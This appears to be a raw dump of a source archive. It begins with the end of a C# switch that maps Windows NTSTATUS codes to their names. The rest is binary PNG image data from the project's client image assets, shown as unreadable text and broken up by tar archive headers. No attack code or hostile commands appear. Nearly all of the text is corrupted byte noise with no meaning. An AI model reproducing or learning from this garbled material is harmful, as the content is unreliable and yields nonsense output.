"STATUS_ACPI_RS_ACCESS" case 0xC0140019: return "STATUS_ACPI_INVALID_TABLE" case 0xC0140020: return "STATUS_ACPI_REG_HANDLER_FAILED" case 0xC0140021: return "STATUS_ACPI_POWER_REQUEST_FAILED" case 0xC00A0001: return "STATUS_CTX_WINSTATION_NAME_INVALID" case 0xC00A0002: return "STATUS_CTX_INVALID_PD" case 0xC00A0003: return "STATUS_CTX_PD_NOT_FOUND" case 0x400A0004: return "STATUS_CTX_CDM_CONNECT" case 0x400A0005: return "STATUS_CTX_CDM_DISCONNECT" case 0xC00A0006: return "STATUS_CTX_CLOSE_PENDING" case 0xC00A0007: return "STATUS_CTX_NO_OUTBUF" case 0xC00A0008: return "STATUS_CTX_MODEM_INF_NOT_FOUND" case 0xC00A0009: return "STATUS_CTX_INVALID_MODEMNAME" case 0xC00A000A: return "STATUS_CTX_RESPONSE_ERROR" case 0xC00A000B: return "STATUS_CTX_MODEM_RESPONSE_TIMEOUT" case 0xC00A000C: return "STATUS_CTX_MODEM_RESPONSE_NO_CARRIER" case 0xC00A000D: return "STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE" case 0xC00A000E: return "STATUS_CTX_MODEM_RESPONSE_BUSY" case 0xC00A000F: return "STATUS_CTX_MODEM_RESPONSE_VOICE" case 0xC00A0010: return "STATUS_CTX_TD_ERROR" case 0xC00A0012: return "STATUS_CTX_LICENSE_CLIENT_INVALID" case 0xC00A0013: return "STATUS_CTX_LICENSE_NOT_AVAILABLE" case 0xC00A0014: return "STATUS_CTX_LICENSE_EXPIRED" case 0xC00A0015: return "STATUS_CTX_WINSTATION_NOT_FOUND" case 0xC00A0016: return "STATUS_CTX_WINSTATION_NAME_COLLISION" case 0xC00A0017: return "STATUS_CTX_WINSTATION_BUSY" case 0xC00A0018: return "STATUS_CTX_BAD_VIDEO_MODE" case 0xC00A0022: return "STATUS_CTX_GRAPHICS_INVALID" case 0xC00A0024: return "STATUS_CTX_NOT_CONSOLE" case 0xC00A0026: return "STATUS_CTX_CLIENT_QUERY_TIMEOUT" case 0xC00A0027: return "STATUS_CTX_CONSOLE_DISCONNECT" case 0xC00A0028: return "STATUS_CTX_CONSOLE_CONNECT" case 0xC00A002A: return "STATUS_CTX_SHADOW_DENIED" case 0xC00A002B: return "STATUS_CTX_WINSTATION_ACCESS_DENIED" case 0xC00A002E: return "STATUS_CTX_INVALID_WD" case 0xC00A002F: return "STATUS_CTX_WD_NOT_FOUND" case 0xC00A0030: return "STATUS_CTX_SHADOW_INVALID" case 0xC00A0031: return "STATUS_CTX_SHADOW_DISABLED" case 0xC00A0032: return "STATUS_RDP_PROTOCOL_ERROR" case 0xC00A0033: return "STATUS_CTX_CLIENT_LICENSE_NOT_SET" case 0xC00A0034: return "STATUS_CTX_CLIENT_LICENSE_IN_USE" case 0xC0040035: return "STATUS_PNP_BAD_MPS_TABLE" case 0xC0040036: return "STATUS_PNP_TRANSLATION_FAILED" case 0xC0040037: return "STATUS_PNP_IRQ_TRANSLATION_FAILED" default: return "STATUS_UNKNOWN" } }

    C#؈ ij?dh}^u,>Y7>4~jUԺ% qwY/|Y͚}(yh䡑 +u.WD8P(s}%rǿ'[[X:yx?OdKl YX h#<=FisQm`5@(D}1wp._Z?yx[-s,>)/g5;wx) P7(4qzG!&.Wz!ټcIK/wIDRw5[8j6W#qfj4X - i?liEww?[/)e?y}_Ŭ:Χyh䡑 r]~@b5@/(]d_կ{e:f%O_9r 7_@yhamx}h[~]~ny,_ȑ#-dUQjFy |B h5Ő i?li"~qo{|y[LD_c5C#e>ˍ78>MVH_>U䡑Fh+ǥC~>O.L[J|;[L<ٳM&@ y䡑F6gGYBsJ~y")={o[oD3M*x?fRJFk/ եQks&C#dh)ȁB1B闧^ۥP Z=3K.׿QqjGyh䑏q634i4X - Q_?\˹hH.›}wtKUyR/E__-NVԃFyh䑏q6,24o4X - Q_?_3fijnQHaK._]!%Vs dߚ5X_k䡑F61*^j?C.P^L$M"ifrEuஜFyham,ao E!t92nHq7 c <0k$b5@=2Fy |^{o@"}ȓ?nݐ=]Uv/?{d5@+Fy G;eh%[~W_@ _HMM1$~d5@=;[o5>}2(N49wvm~RP C<ȸ{[ZWi(w 1m2?ӧ?g]bDFhؚc1 ;]_d理]_bo~3>RItcWH={yɺ3)~_xөSyh䑏f ɰ@ݢ[ lkdi}}/`j̤?vܻ-˼=׉'ƅ4f5jˣ䡑 2Wl ~;~^k>Oyd=[>??sww%gN׾k/B9)Αy? RLgE#zR`y֯?7vjи"]>9Ha(bIX GD_Y>e$ߊ<4A h[~P>) e, V,Gt;wn_^lh%KeWO<ɾB${s\ʼnFy B7RQaG/U.a*h,N֯p>ir-翬!5nr u[^W"V,}Pȡ.Fy o4- i?d_y󗢮}`Kd+~>zwJmK/X~SCX 0?裡D#ռ?6VoX$()H^L}`p\`viD wl-qlQ)p/ BQqHpc,"ѶgfE">-#7_~K ^i?7F?7AZ~_T~=V$\Az]{6HbտU(絛sm1Q[Ӓ9ބxc=/G?~[x٩[9o9Høg?ڷkjY>|~߬KiOh?9ބxcsN.Fje@mei(Kdܡ=9+Zc>vo)h46V_|Q?-)H2Ze`򒈖)Gb?cVEy4 ,QhOsHR⑲74î nQd="{7Vs8?a4f"K $y)s}`n$i(Khێ/$/h]Mig5<#%Әcvier<;Hs&Zc<Ϝ93z}b97_xcs>%.G Ж 71?Fvt?s"Q{By[Z#KGJ<18*@7@~rľp᯾j3gO!sNzN(Ř.b7%)bp H#eI2/N+1~'- xik$/%)8ֿ(n$}9麢?kD6)Ә~fsf7%)F1T8y)b)GܞYlG+{~֝9ݙUm#%'wC qaJq-ǃ|2<;ô~_=$'?Io{ȫ99H?s= H4ZN>($}89;Nﱄׯ=OZF(F"pD"cs=)Hɵ=Nt%-˳Sd=޳x`kO ի4DoտV{Si ' ?h9r$ nOzZ~_~{W>*ujoJ/'Wsn$i(Kܞmܳێ\-ܩ8Y9/ EHjxcQ I Pd=+XӧO^YG_j(Y<{*W$JYMGJ翉9|Phn#%)8_* /hYrt/{gp ߿9MlsE gxc9(TD7@~r<;SFw&.1GEKr~b3OV7Sx_* /hYrt#_ w*6kĔ(Eoο>x~cS}* ?h9(+Vp}Ys{Ĝ$oM,&IǘHJD~rt/Z#c{*o9翉V?KdX?n#%)~fq!óSnb%7s?V>K1"{YLGJᗿ5nMG SY-HC9s9Hbub駟^W0t}e r8cwJ<6{%.HCYs#|*>Ο?:osֳEHHc ElFRxc3 D nԩk=oLr?1D^xaxᇫ/wJ=zgQWÞGJZ#zgV?/Q$ Hn"Q$ATPXt'-dzS&Hrp?6?ݜZDȜXtE1ToP`#򒈖)(#7矊9Hc{jy睫UET>s3'KGJZ#;F,#.l(E9T"GG7@?#%9CO"]-Ѿ 7?&%Dߙ3gF,f>XMGJ6lל7ͪ _ \>/;sgϞU$#>?So{6W1H D,XnGb?E9b?VRdW$6}䥬~#R<(F7@~r<;hG,Z 3/"QǦtҥf97=1xZK"ZVNlG;u…U\6m(Eo?E/k=x#UF ?Erz+b OS-{Ĝ$;9|ኳc_(HKoB7@t#%cnT*HHC9TG3Sk"QxH *K7@?#%@uZЖ^"FYhvShᎂH}QbsH/^kn>XMGJ}zbX˗WIn97Z mR$R6/xH -Ff3ps0 IDATIw߽vb%7ݿUS&b?6s_ҥK"ѯ~kel>t cF<hn1Vsc>*mS|c?(g9Rz8xrCY "F9xa[Oű~1~ʕk33(@t9MHDŽG73Tx(0+R(+ؠ̜*vl$wgG GLy睫9E+Zfy x#w ?Er}FGqSpnj${9:칊 #SQ$s8GJ<ƦlK"]Ic3kN]pa5~^H9Tb\&KSGJ?/Y)~p̓gԦP;Aud]Ys)bvkNŜ̵Xmى"QtA 2EZdl>zMx<)HGPK PFFԩ{N1α~G(bH:jտ9MX)GJ=(HS2+S_m>;1"Q˫2Z$ @ t c8n1'sc>*oiNGw^Yb9nM;.8n1+qTwʕ+Zى7F RQ ; DŽG1R pRܧzJ 1p5=xvVΜ9JrR6翉9w<xܤG ?Eֳh8o?=>;d$D(ŸL GJ<>Ǥ D;u…ժZ{9j2D1 7E(vm0ЦGx(Zp~}>b7v?u赞Ŝ$.]:rP@yɿ"Q*C"/n8:V{S9 p{2T[=1Wk=h?bڳEk?mqD9H~ڻxzn -Ѿ~S?bb?EH_~k%I#!xzLD7@^s)bꯅ;uU;>;Q$vH3_+r{wJ(ҥ#B<BU|;V򕯌^YpGIݦı~o?šH/]4z-B{|?R⑪9 P)h'OfZmى"Qtq{EH_y啭Ga\b}PKGx(@JnW_]ocD(f^YG'O~Q @-tC.% O$|*?&Zyvժ9T&9D @MtA.% GKoHO2翉ԩSzšH8/B7@?R⑪! sϭ6˵cQĜGHsϟo"*n>l#U4H7S|_vh?K6ZhfJ)H4N7-n[O>J/^Yls @-tg3%mCfB7G/6k;hߜ*D;sZfJXNGjPK_s(ҥ#+ 0ss;s9h)D1_kۣ=t)HMn>Ĝc 3O]pa~p }tP}PKGjx(@GtSƜ$u'1nO:5w{šH/]-sA-tC.%)q\Ds=7ٱ~3c wq赞Ŝ$J(Hwm{tA.%C:H^}ժQǜ?ãz3LU$:d=~׶G7@?R4 1ywVw^OHHlHt+]}L)Z6tN7@b%7hm9q_lX˗WG=/r{m>l)`E7@b?mpyu]zEHϟ?_U$ź-᳙Q|B7@]X|H ~jySq7!Yn{} Q(+vls(??O^ŋWnEr[twJqSO=e8+3ī-Y{twJy_WF,٢V'r{ܳyqZ R& xǜ?ãz3G$YnS+CCϾ09y;#w_*ccrQܓ9=dR7@jcsk=|j׿u((i9 0% @V*y*cֳh?&txE7s/ccVmoB7@|!ogq^t0x([ m^Xő~6Kű~gϞ-2翉959'dz8/c^qj߮ Až2r{\W[tC ux(4bPF~ywVs'߄D# r]m,΋n6@C =01/9&$d=ټf)ct8[sHNg/G? ;oܸ c?FJߚ9=;-jd54y9{6=^0gxSGeEnrľNV͋nn %.G$Yn{6Cx(A[ -˳Sī=Y{$} / 3/HDKk{$ OS0Srta$N<fL2Tؗa$OS Hr<;ld-M #eyvئ3]_ #xv6r[tߧ [D,$Ynn>TSVtr1&r{tkVdt9 `ld=>Thar<;ld=5+ h9rĞm,GB܇ $$CeI{I5+/P9xv6r{$}3$Ci(K&r{tcn׬-I Pgm,GB܇9]@%j"*G7@Yb6Iۣ=sfE2Tnr<;lnhG׬PDH<;lnC׬P)yI1P"@{$m ЏYbtL"Zg,G7@Z(\ K"]ؗr{tkwG?:H#hd=>4 k1R(dzS"@[$ߏYA[ؗr{$}Vhn)H@{$ Џڮs\`^r$^q#!CE 3Hdt9b_'r{ܳ PMD7@^Ѳ<;H㞵GB܇׬03򓈖)G=P̔n$eyvʑ,=k~f{̙n$(b#Yn{}5Hc,r{\W[tc[׬ ID Pd=6/k0[H#eI*"Ynn~?ϯP+-H#H*#Yn+̞$}YHۣ=^*)9z.O"]ؗ#j{ q&zW9Vt䥈QgW{ܳ׼Sxw TH2TD^Nl^t*W HDt9u,=GXN"Z"F9$Yn{6/hv mP;ID쐃d=k>t@jt%-˳$=ߏ^c8IDQ r{\|y r:zqjHrtIyqw5`򓈖$mQ7s]n$=93oǼt|͟ ZhD'r[8nOr}LH@^rĞ$q楳kt'.G왚d=ټtt:G7@^xvAl>:qr|mlĞI˜>$=]!9HL9t%-˳$qefל{ un$xvAl>ftIVK"ZgI N7@~r1A5?I(@F7@^r4d= 75\.mVO"ZnrTEf^Z}F?t%.GARyiG~]J7@$=9Hۢp3/ Qn_Ie$ /t9b_ī-(߯$ D/ǜy{$Q(߯0@)R(dzSī- P5rQ`\ƿtm 0/+e}9g P̵' F@I ϊn9r$^qڣ}s Yn$eyvʑx=kn7?0jZO"ZgW{ؚܳ}s @Mt%-˳Sī=Y{tdoNo`\/@mt'-GW{ܳZu漞"IDAT^* /t9=DՖ^e}}7 ZO"]"@9y%<0?p`j /t9ʒ,uE7dVZ&.Gr{$ pbepe4H@^rt%jd=6v壏>ځhn$(cμ=(ۡ9 n "F9ʒxEܞǝue,Er$^qڣH6/,CE O7@9ʑx=kn}G.ZX{}y)bPī=Y{t떹Q -)bW{ܳe&ʑx=knO`z ?Ert#j{֞^>`= "FYH㞵B OEr$qiH9B7@^r%YnjK+ 2t9H#YnO/>I;/F? K"]n$^m,qGՏS@t'.GGܞ;r "F9ʒxEܞ޳ a^NHCYH㞵gFu?|s`c Pnr$^q3{vF?nʑx=kOu]Lh9}J::a^|B7@^eyH㞵z?:!0[ "F9r$^qu;7ߤ` H7@^Ѳ<;H㞵_p n$(b#Yn{֞+{w[ؤ`0ǧ /t9Fʒ,ugq\nID#Ynd=] 26z8#yI$m,{v?hoM;]p2H#H*#YnO8Wt%.G˒xEܞlr1n${W{ܳlH  /E zī=Y{xN+@ezī=Y{p] VF$C(T'r{ܳc;Q0A "'g>gr[* ?E NVI㞵g*_0ۡ /E N{N}$=N?L0 "'$qs$瞪'@6R$G$9$r0 WF/OĿUHs9Ϗ~d /E z-Mk+ 2E z=+,wax}5F @,E=ܳ?wG?Д.(/Ր :I=4ǞG\غ}DTE2T"@9 Hu,{vm#'-,˫SA`s6H^=vK~ '0u` tc%qϚ3yn=y`\^ "'g>]^rt'G? "'$qϪ%U0 "'g>eɩ֛TC7@~$,=ι>`vt@t䥈Ib٩d= ^W\:[`[OĿU5t]ooGfy)b%H㺊ɚC.4 õOj 2Erľr{n:&k`AFH#eIۢpUoGK7@~rľsQ؊sr|w_^ /Er<;eIۢ/>wsG0 0/+e}9gYl%gJ0 ϊn9r$q&ݶ0 D,N9gZr^ ?h9r$qN|08G7@^sbN9gj@6\hn1Pd=ٱ\V `t# eI㺎>jw;̛n Pd=sg^s0̊nt,r{\׾}BNڣ0|9qFw+_|qo~3nzF?; N9-nTA|]f⣣lA@t,sЇڿL߮/CNY H(Z-/ǜy{q˅}A`^xvʒ,Gp t/GU#.G=ܳ9p.!_!*K"]I={PA  /hYr$}t򓈖)Gܞ߳C%.` D,N9y(vO"Zgr{ft]~PQ M7@^Ѳ<;H3&׭ K7@~r1ʑ,{VPY@xhk] D# eIu][ը\.{tL"Zgr{'_~uӂj]%.G˒,˵+lH7@~rľvr(VJ;+v "F9$mrUWYXjN[ؗ#YnOEUm.[m`\4  /+xvʑ,{_5w p\`^r$)x]UU0pVF$CH:)pLjǢ /hYr$u]kX*wP ?h9r$={cj :ؔn$eyvʑ,'uű~Z& k~pD򓈖Qd=Y3j3r0 p Hc,r{&_\~O+R`C@` tL"Zgr{Nx]Ml[Sr  K"]ؗ-'O+Z IO"]ؗ=Ǽf6ۭ IK"]ؗ%Yn1>/MMpH#Hs:0_ %.GYvk\.xn|髎dt9b_ ]~_jDQx~G/LP9rľN3/p~G/6ڽFt%-˳Sn\fe @[t'-dzSnf֛nS@EHcF{p_zզP8"2ID PNώ>@,yI PV!;N{@ZhDN9=;󣟒P8r K"]ؗU)rwכx D/ի~ʾrro 0 }пwoTlK|QqFI$j~=씵:Gnk*aX|jwa }/G{?k1pLqi(dzSN;oC:6X, ̂n3{IZ.=؇n)g;tb'onsO? (sD,N9&X,aY\ .ID9{?i(LH3$}Yx )LL3E$x%S@ڿCJR(gF_@&O"]ؗs &1˫C0{j\N^mPov:2Z,az  ;eyv&Poӟt7 /N [D7@^Ѳ<;YHD`K(#o)QK"Zg$[-Z.`gZvs@Z؉n8 sPbx~.jzYc9?9(F ?h9H R(LB@^rP*H ?t9 X,aOG%re)b3?OϏ~)TDn$t{EXrZqv+q $Pba^z(_[R";{3K+Pbu{'y)5guu U@Ŗe|pnci}b~:X,b=@te5Ɵg7B@#e|{~k~ߕC@cE|9 3yYM/=;! rB"6(bS_1 rBHS{kAhԮ oTsb0 q nr*x}(b0 "@~r i QDO"Z"ƑNm7rz__ g0[oo2sv3e_t齛)[, } "@YfA`ŧE/ ErN__'1N,Gaz"@Y}Q舑S(_g:c$ "FY-R蔑S(gS [,_Xw|X 'JՑH3_Y;ۿS{z\.Es vmǡxxﭿVvmn/HbaA t`kb{{ｗZy'gE(l"FV{=bxhGu|̊eUc{+tM}HO7$^_[ J7@J7@^ƬsK ܒnnͪ?GI ?s, nB@^ϱ)bq0 OPEOĪCWbԺ"pn;ן(pbXgD"@~1_ǠdEl:)bDޣW` LjI`|]d)7"/6c2 da,&fVO6 de,c5^Ov djPjw?v'+fX|a]= _#u@[,XtM7@^++,Q= We=Z)W_[w>iΟr+mG5bz,@!"@~[z^BB;2w?Rj @KMPz ߻ğf(WKiMRz޻ğf)дu!8Zer7(ğ)0 S"@>= W"9́X,v:N7@oE?8FZ, _w 0_Zxp\ z`#v?gzoN7?]ZA`t({^?=Rk뮀M̊"'g)ڮo+N 1~IصW@<Q~fa8{7Bu` pD MIڮѫl`X|c]P `!`g?_5\qㆤ&R ZUY^J{I?LD2Y+S P¹]Ic ؂;G UblbԮbebu{)@a⟯@M&~N#w\Yqc JCEr @ $h̺ 36{[tƍoj6)@gׅ/&g$?\.vꇆ) 7>Skwɾ}ĺS` 5?tuNoeۧ0Yмk|>hS+W׉'s\ډؗbSîAllg~ص?W|UKnIcw`3в+UY ^[VWIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/Asset 6128.png000066400000000000000000000111531467014221700261450ustar00rootroot00000000000000PNG  IHDR>a pHYsjj{6IDATx]IlEc'/O_Y3́ |dOHR싔;"#X E$p l86p$aR]]USUcnKM㤓N!@DD4 5SFs cVh;qUhbfNM8A~38 voV`:2'8v~cccxѼ0HNP_2nwIhVQ`|||!ST4Q4($7#DqqqhImQ4=vWFQǑ9^PڋauV5"[X,۷o=!2F .bER}쩟-2:!w%w  3R?qaNr( &&&$$I4vm˴/%dra$If,#OD! "{QV1&&&İ Ӂ7LNNƧH!?4$ MLφ5T$ɜô:$z3ԡ~EPZfݴ1:@m0rh a6IՀ.N4ƓA {Z֢C:;>FAU0VŦ?SDQ)!DVveBq2:p`ǎ vET "8Dd9A!GL mعs'z ("s%%?' /_[[UFXҘGB(pĉ)6~ X o7?3⋃PXEA:O{v9gc|H C^ N{$>i`6ok"pQ(CP!w4(>DPvpo_i0,Ѡ S`BMXՔ}cɨ]U4 w/DA:7(DG E歩)|[$CxU$)֑Ss4jfZNBO7SBѠEEƜA7s4`;kV+rT!hJJ(ޭ 4B5D xe'u944M|iWVgnL uA5M:Џ?H^{]wsQ ] :5xBO+觟~JO<={/DQiop^'5sIC[oEvӇ+=p ]ܖWҵ>/WFIdmvڕ>v7ꫯwA q׋P}+{6hQևJ:HD|ratN !ꁧz* JiWTgMČ4x\^C=?W^ae`;]$2&e(d =te9O?|"r~b|iaA@k<`ZI| F&}];ѣ|l2|p2lGZqm䙨Ɠer5ГO>o65<y .pw E;Rht&4HcXg}ˁpy"Ǘ97N*`4VHtBO93z<yzg'O97|yIQ\+In5F$i[ӟh7xc19Bv0;֣J;ߘS'~x9^|E5;~2'N MDkN%?N{1:^ {g994 CN9pcH#-k8e$z h?8]}s=z8 !ѷUΜv'|rWj/9}'?{CqfC@ʀkzr9ĐQG57hh_~I og<I Y;R:X2 mrr>^UN@GWnM!B8!M%kxS٩"{-r$JOi}e6)yO<+^9`x֧HX2BeI;t-B^z' hgAã\@4 C!2|:mtڃq~=?¾҃ 8͙g!mca?B|p\-ꫯs28~#=SظV7=ܓnB6ytM6Gy0 $0!hEbkg \89T:-pp~ӹRf4; ^`,My0<#hg !* ]! aB)4i<0BR{ｗ<!(Hb2ȲKahu%y8 𩧞s΀sH'yW:2̶ќ: 8a,<89;＞My /_|uv Wä9Hs {29/,BY#C܄9Zt *,Pd&њkKQx7l6YZ?餤#qD":t݂dO?msh$'e6u:@c [`h:{utp p+-FZ[[DȰoD?^,U+Rϡ: Fn%p޵56t6\pa9Ztauu{G9cE1B h COE .\h5aVWW`b֔Eax2(K ݁ di+I6>4p9P,"6X?J.lmG)A=!O*ΌhtLUS`n/d}pk:jߢ]9F-G7|Z Geܗ"jy~>߫Ldb{40lp4;cyرc\oLms1MDNF~_vǎẃe6IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/Asset 616.png000066400000000000000000000010031467014221700260520ustar00rootroot00000000000000PNG  IHDRa pHYs--q}ZIDAT8m@ݬ/!hX\y p>=`cikwV6ha!dY\Ddo(n$I)Bqs11j~yޮX,*uR  A}y2p`^S3O9l`eMSp4M7SDV*t+XVt:vCE(|J JZ-ȅ};Bzo)%ͦڹD>HvjFd^J2+nctlp5rx<ȧ\=t]l[Z2 ;ZU~"/I`4!\ײ 0^mJ2/8 EfNUK'_#~/FRrv];l2M߭tMIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/Asset 632.png000066400000000000000000000020001467014221700260460ustar00rootroot00000000000000PNG  IHDR szz pHYsZZ$IDATXW;KkA  1`#񁢖 *"*vDQIB Z ̒3{\6;s7sv )%lRϗ(J)dYP[[Rf5@\)?uuuXsNW+RiO4M !b uy2Ņ?!JBdJ0c-HR>|ez*Uta\9pNf)H xyyoooۋnLqWaffR bee[[[t]IE56n\^^brrRa爓NXWOXEir>\lБj=IvwwF)ӕư19Q N΢A=FθTDL˥pzzx{{SňR(Pzv TD^@TS T T:5h ^b0^תpppR144rNT{R:::000eU~Q ZQS'''j_`\6 6#W6CZmq!:/"a`*pgj X . '8d便zHj)777*:pBZQ\8}g)H9KՌP(@*\ !ڹS񸺞wo=+6QUIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/Asset 648.png000066400000000000000000000031701467014221700260660ustar00rootroot00000000000000PNG  IHDR00W pHYsܒR*IDAThZKLMH`≄^%(W g!q1aLL$\ $ׁp]8m ST"Zɤzf`B@:ɩB@p>jf{%!,^>!Vq!DOAS6]#B>'$7nĄSPN-N7f %7a)Oty.ƍ%Ɣ{BP8ljP}N5mX =zSJf] )Hyyyq3 9!קt g잔Op'&vHSp8\<@:E>u:@ 9Dqu:G4(A5W!kPp8,1>>ccc>?ҳ9жQÔgϞv0==- 9D"AF/h8o&CZÝx⅌~=۶颡n/_ViG]]]2`IE*]mt V ݅xLL'uH1,(illd*Ν;)j\ʘ!O>Še4ڠWF2q,QyCoo.RqCré #=g!\ΆϸXJJJmuue4e4;(H,_Hwk ϟeDGGG2BR) <fԚ8  3j"8ӻwNc4xTNЗB7ꩃy%@|"K(EҎѡʲJ[?}Wu VHE]F"XNܻ͝mL`=Y lnn^M갛@r3"`.cc4 "FH$*04|s"aB(*RDE^9&xJR;.zߤEEC'g $t]('rKH ZlM&יF& & PƖ笪Bg"BO<|ɀ$fI L[I9@)o׿38ΙMGQt|HEE|}3?G>ߗz'@81ǔG#>A,U%h$HXs"'''Ôh4_2/oZăIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/Asset 6512.png000066400000000000000000000471311467014221700261470ustar00rootroot00000000000000PNG  IHDRx pHYs IDATx]]Gu^E~S+5OU`T*!~iB\ 0 A5M)QI)MCjh}#C}!iIt!uHߚS}85? cϬ={̚lfk71G俛>^ync5s{lcv*\_B/; G 8^{‰x#6#C /ep ꫯP0&ĵ^{?ƎANm3JPpntRW1W8c0JAdBQt1"}p X'DLjN{;   !Å?1ͼKcA y`,@:(O6Od_Gd!P* AP1l6ٌ`@J6+NO Ԁ|`6/lƚD뮓-z ?=:]bBT&@*ӶB Ԁ|2Ʋ^AT8.dѳU5 _,nx u]wpw_=&   cٌĞ!Hτ(û  cEgAM c1&C#tUPa 1!p8?3wcK ٳhqƏujN`K pZ!={6 o5`<:b|+'{9S﵏'L=21-j}XR{>jxPt»1^+`{9\uM{pn@ )SX׊U;Xo #R_X[[} l؞]z]|o`1ξv \buL :e1*X`bp3Pt20j,W%P B`=e_P`8r3>B P&6L]ؐ>g5E jN 3!c$xb&lll0Ƽ\WK0Ԁa&b|ډ7aƆj~Z~)$TBJ oXX[[{T `ccp![I ؃~a`LC`@ĔM&8^8Y* k1A$J O"PPoX`M*i 胼8)Xuȱc#5/3%G {5Zb"O)v i΀R۷osmmځڗaӎ.PC/Wo[__d@Qo.%#3a3T1Ŏ5 _o)| T;ݵݏ"a_X /S~ܵ~Z!}7E%cPT|!_mD`߾}w찃Pec[8[.`PP/B9h}jaĎEi5@'8A!Y__(0Jo>/[;F,{___R)0xPwZ);Q ƨC"a6cpoe=@ f1l"_9>@`߾}Gm"a6cpoG#R~p [( ϬP0];!P 3|F ё`"gIc±cQ v"B1_~{TԀA|k?U5;4_pyý߻CV1b>~;H[G/^y`OAۂ?S~c~A 5 _/j_5;a=Q,m}}})/@;aL YeA@cվ )hGԀ|NiFV-`2̴݀;ANN>1е`ءю.?2o@g@Q@ ei5@'SwBBKV*ءю.|a j8Nb۟s`2̴ǓCJ GgL1X☫m '-5?\ʼn\֎M3];!P 1Dp\DbhG*~a`0UQsS3]; mԀ|V*TS~c~A ȗB>؆kæ2Mf|#}D;5;9b>>ˇ>!@ߋ-)؅g`(zoW0W^}s@#֍j0o}[kEڱ$dR~,'2@H|T) @iamXL.-2x-5'kXvx`"L*{_5Q:/~9#p QXPtB0@o\c&P`fnHB ȗ̯f*'|oP22̴ǓCJ5 O2 mMD̛ jPto=1壭nm}3r^ UPAg9G׏>mp:@ă"̴@J@'ֳk*6BTg:a=guoO.UjL5- @'Sg^ h4nC Ȼ*S1,L{<:dkˬ nöKa7\d%@Me@JJL 3\t w֕B?,KafnKJE Xa(ܗ#@߲UPXl2X WA /_a(<>5*7o `"̴ǃKfg5#1 f±c(01hA3AQ5`<:ᾨO g񟱠Y8v 5}Q9 tE . f`=*~Y>1X[[; })f1, TƔ~cPF nC v,L{<:A PsoȖCy  T ;P/ 퀵-R93;P/ۭL`_P%⽭^@ jc;d{?k}!Xw_؃~A ȗ`YE@ w~`//Gk?5K{%ļoEPA A@x`t\Հ3rCRq |N7?EPA )1W}}UU K:#j=*~A WQ6r^7ՔUP!P j@8W}5O߱r;H[5 _]c0z*PA؃Ԁ|qpo9;f2];@ j@뛦=~0vjN۹ ^?FCX"c?2ͦA ʃ~Q 3m7 ׽]H4Bwj@C]0j@X^*tj~Q 3m@ {}0+t jc;?1s99~E *kE>p}H}A_A vt?0GV;(X5X /c0H5(y1 gGSyS\ ԀZeH j@mJT?`ю.5 _ۊ2~:A Ԁ8T5~  5 /%8f7})^]Rm䁳E] ӻ/—! 5 i6Vv2P,\]`PȺY&חA Ei5@'9ﮮYj@봣 4 -jqieP,|f!%{!gI_=!`ю.P ƅ<2—A  u30;0pvtAźM_SQbw찃Pѫ ]9|SOG`N;@ j.zY 5 ߾`"̴ǃp˱kbR;A pjNRQ,kj \5 :I89 5 D1Nogj@C]`P,^h(PXfyV^5@'ڮ'(/r6y}ڗ 8ragǻ.~8p`oV8{N6ڞ8W՗X5`mvw#̝M)`%}p}v:t|_5/b7վT`5 pUmM_SZ`H ;ĩ7s-Ծ/_E|94Aļ/ )} xvys/@)w!(`)ĸ5iԀE|qȑ/y~"AŸ{+WPt4! A:w_}i5"_4?[6Hm@ Ij JrI Ԁj".7wqG 5@'!6@},2Ԏ[ou%qu@_}M- %0Y'y|+H 5@'KB@-dWj"]vS,r< &- ]3QT 05Y_رl8dq{o@ ngJfT)`  5}1ր&;dU?8" L"rRP55g??{ ir[`  S5g }aY?;BvTa=R8=41ۏ՗)N1&~}C;N[-Tla} .@Y /}kxCdvqM'fwww.xD)*]K0mWA HeP!y~]Ts?qCPܐ#M=\lg/35`jK;}O~׼6/^}g jxPtbs_1q] j:bOZ_掿)?fn@ I}YJ~+] }"ߗ-}A`~~ə*S GKm`_t9[҆v/g9%_eWW^YLȁC_Wk>-]P'պK6p+&,\Ciw>Y~&dǃ9aǃigamN50n kK l4رcoo_} /257j~}m@gPWLQ m}5H_DN0Dv=hPB@ O?:—V_1P}_.?WxJeÏ~*>%_B@)—^_1Y ٭8n]h$/meґ#G[5(!CaKrz /Ԁ|־ ۔5klN*70j jRW$/o}x`Or1ƣDTC@ O> :j@Z}$E5@?㼘ϘcƣD R7~I9prP}/TԀ^ y~9W[C~K|_L:?*wy-1JA}K[yᇣ;__RXދ2ϫpAhmHvS<__!Yb٭HZ4%\<A-~z<(xPX0|{ٷ8~qtZ=B^"rʆo] (kXjrWbD?i5NN׾ ÇkDv<Ծ j_1s,e&+!Ԙʡ45䳯\2wr"/lEѴA3%8Pp5JnpC 89nD</wqgYWÎ lv+vGHiaJj@"@ԀvPC_^My{M˳#_բ= i)wpvtunRb5&+5+rK޿cze\x`ӎ6P0 fE,U}^?)⣥|xpU|k0vC$gt k*D%D1;xvt~p~pUۆz+,\YH> QِYN;F8 N.Y'u%/[Lq,w^{q "%|;П58vbt%ro|cd?1-2eLlw<0 ǎ]'4KY7|o}^-y~f1;Zj I__)˪,+jd_1K%$,;vC.?Z8Cl(+)30±cSa@8vbB2yCˌ_K#Il,;2U F71R6@?Z2:uT+~c-k4 7dvkgo;~)Iڇo1/w*ءӎ.gzڸ2۠m{8vb NNd-W6WzQ$b oo8ZSX$ > GA87ֵmq9n"Dnvag8EPA l~y2'PqoW韢3;RWz HޛoyGw\(>o~s5Er˻ǢAuCTGOf<䘾D(s.Ogr˼ѐc"9tַeվ^?>;HQ@S.ѵC:__&BCٹE8W|;Cr]i~@gOxeÞl,7=];Sb_w}U1ԀkD  ٟƾ$/9Mɉk5R@"Roo|;]a1 X&e ,iKwH^~_8ӲO>%?r@N$]w,pfk\eKC89b[`.Tk<p@p@ j@}$/ً{ms 6 U tE(5AL7S]!p6 z13bD"10 _5@YPv&ӻB<l'';B5eeCJ/uхOU&A5}7rٟ,f_j- o})$:u*hcZG),|>N.};McX},{׾\(}mATRrFNR-66k Fo_f}"K]'D*8 3}YT {;qec@ j@sb|/㾋~S_fmxJ_'/v ŅI5AL79m}BokBrı}=eeC{͊ 